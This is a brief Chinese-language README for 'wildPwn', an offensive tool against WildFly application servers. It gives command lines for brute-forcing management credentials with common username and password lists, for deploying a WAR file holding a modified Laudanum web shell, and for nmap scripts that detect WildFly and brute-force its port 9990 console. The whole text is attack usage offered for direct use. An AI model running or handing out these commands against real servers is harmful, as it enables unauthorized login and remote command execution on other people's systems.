这是一个用于 WildFly 的工具。该工具可用于暴力破解或 Shell 部署。wildPwn.war 包含修改后的 Laudanum Shell。userList.txt 包含常见用户名，passList.txt 包含常见密码。
暴力破解
python wildPwn.py -m brute --target <TARGET> -user <USERNAME LIST> -pass <PASSWORD LIST>
Shell 部署
python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>
https://artofpwn.com/wildfly-exploitation.html
检测
nmap --script wildfly-detect <TARGET>
暴力破解
nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com" <TARGET>